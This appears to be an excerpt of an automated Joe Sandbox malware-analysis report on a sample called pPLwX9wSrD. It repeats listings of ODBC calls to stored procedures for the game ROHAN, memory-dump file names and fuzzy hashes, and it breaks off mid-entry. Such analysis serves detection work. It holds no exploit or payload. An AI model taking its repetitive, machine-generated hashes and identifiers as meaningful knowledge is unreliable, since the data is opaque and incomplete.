                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetCharTitleList] (?)}
                                                                                                                            • API String ID: 0-3948883892
                                                                                                                            • Opcode ID: 9aaa0ce0b1a2e0360bf9b3cd09e60a268900f897ada32ea8c0f12e60cd39e6d3
                                                                                                                            • Instruction ID: f338e7e4446f3d65a966a09e46f8e334fc586a1e601fd72908839fee37c8924a
                                                                                                                            • Opcode Fuzzy Hash: 9aaa0ce0b1a2e0360bf9b3cd09e60a268900f897ada32ea8c0f12e60cd39e6d3
                                                                                                                            • Instruction Fuzzy Hash: D21100B1A40258ABEB64DF44CC52FEA7334EB44714F244689F7147A2C0DAF569908B98
                                                                                                                            Function 0043A1E4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetCharCompletionTitleList] (?)},000000FD), ref: 0043A204
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043A243
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043A278
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetCharCompletionTitleList] (?)}, xrefs: 0043A1FB
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetCharCompletionTitleList] (?)}
                                                                                                                            • API String ID: 0-3616435941
                                                                                                                            • Opcode ID: c031eb1e828b228fbf3e85c59ec1486b10e21a195988f4756c7251cac7a1507f
                                                                                                                            • Instruction ID: fd32f341017e0632ff7a3efef9f28a0469f48f744017eecf50bdde3ec6648111
                                                                                                                            • Opcode Fuzzy Hash: c031eb1e828b228fbf3e85c59ec1486b10e21a195988f4756c7251cac7a1507f
                                                                                                                            • Instruction Fuzzy Hash: 6811E5F1A44258ABEB20EF54CD42F9A73B8EB48714F208689F6147E2C5D6F5AD408F5C
                                                                                                                            Function 0043C2F8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{?= CALL [ROHAN3_GetKill] (?)},000000FD), ref: 0043C318
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043C357
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043C38C
                                                                                                                            Strings
                                                                                                                            • {?= CALL [ROHAN3_GetKill] (?)}, xrefs: 0043C30F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {?= CALL [ROHAN3_GetKill] (?)}
                                                                                                                            • API String ID: 0-1301937699
                                                                                                                            • Opcode ID: 488be4c21ed19869d5874d721efaa772d67d15c0edb88102d33840c741b4a2f0
                                                                                                                            • Instruction ID: fa6aa14789f75735c7444a18801b0bcf674138e5a28a2350a1ac3bf44fa4aef7
                                                                                                                            • Opcode Fuzzy Hash: 488be4c21ed19869d5874d721efaa772d67d15c0edb88102d33840c741b4a2f0
                                                                                                                            • Instruction Fuzzy Hash: B01100B4A54219AFEB34CF44CC42FBA7334EB84714F208299F61C2A6C4C6B569409F98
                                                                                                                            Function 00440320 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_SetArenaRewardWeek](?)},000000FD), ref: 00440340
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0044037F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004403B4
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_SetArenaRewardWeek](?)}, xrefs: 00440337
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_SetArenaRewardWeek](?)}
                                                                                                                            • API String ID: 0-3720194841
                                                                                                                            • Opcode ID: 33baec1826512aac8c41bb501ff39c6146d5db8925c503ad8243f372ef0ab134
                                                                                                                            • Instruction ID: 66ce791d58d909edbec1a27eee74feb54ca804be940b5bbda83caced3ba545c9
                                                                                                                            • Opcode Fuzzy Hash: 33baec1826512aac8c41bb501ff39c6146d5db8925c503ad8243f372ef0ab134
                                                                                                                            • Instruction Fuzzy Hash: D91125B1A48659BBEF20DF64CC46FDB7374EB44B14F204389F614AE2C0D6756D608B48
                                                                                                                            Function 0042D454 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetGuild](?)},000000FD), ref: 0042D474
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042D4B3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042D4E8
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetGuild](?)}, xrefs: 0042D46B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetGuild](?)}
                                                                                                                            • API String ID: 0-534300538
                                                                                                                            • Opcode ID: 589906af4bdabec36a0a9d4aa6cbe55a3d3a79285a12e950af40bfaef81e8347
                                                                                                                            • Instruction ID: 4d830c7e1c4bf9a7c7f613cf70e6bbc3fc1c663c6b0380a856ab215f99acef0a
                                                                                                                            • Opcode Fuzzy Hash: 589906af4bdabec36a0a9d4aa6cbe55a3d3a79285a12e950af40bfaef81e8347
                                                                                                                            • Instruction Fuzzy Hash: 7D1100F1A40259ABEB34CF44CC52FAD7335FB44B14F108289F7186A2C1D6B569458F5C
                                                                                                                            Function 004334B6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_ClearQuestCurrRank](?)},000000FD), ref: 004334D6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00433515
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043354A
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_ClearQuestCurrRank](?)}, xrefs: 004334CD
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_ClearQuestCurrRank](?)}
                                                                                                                            • API String ID: 0-2169950939
                                                                                                                            • Opcode ID: 244144034c8e0958af2479250da3715b840f494a0b5d6a1016e041d0bfe472ca
                                                                                                                            • Instruction ID: 49c6cb33f1374b661fd5f1f518ab4ac9fa3ae561ead31da22f51a8c234ad03b2
                                                                                                                            • Opcode Fuzzy Hash: 244144034c8e0958af2479250da3715b840f494a0b5d6a1016e041d0bfe472ca
                                                                                                                            • Instruction Fuzzy Hash: 9311DEB1A85218ABFB24CF54CD52FAA7374EB84B14F10428BF7187E2C2D6B56D408B58
                                                                                                                            Function 0042F554 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{?= CALL [ROHAN_GetKill] (?)},000000FD), ref: 0042F574
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042F5B3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042F5E8
                                                                                                                            Strings
                                                                                                                            • {?= CALL [ROHAN_GetKill] (?)}, xrefs: 0042F56B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {?= CALL [ROHAN_GetKill] (?)}
                                                                                                                            • API String ID: 0-3901951558
                                                                                                                            • Opcode ID: b67d2524bfd0f0510c93e19f26d0ad087f4e9ddf5889825a50bdb7880f03a732
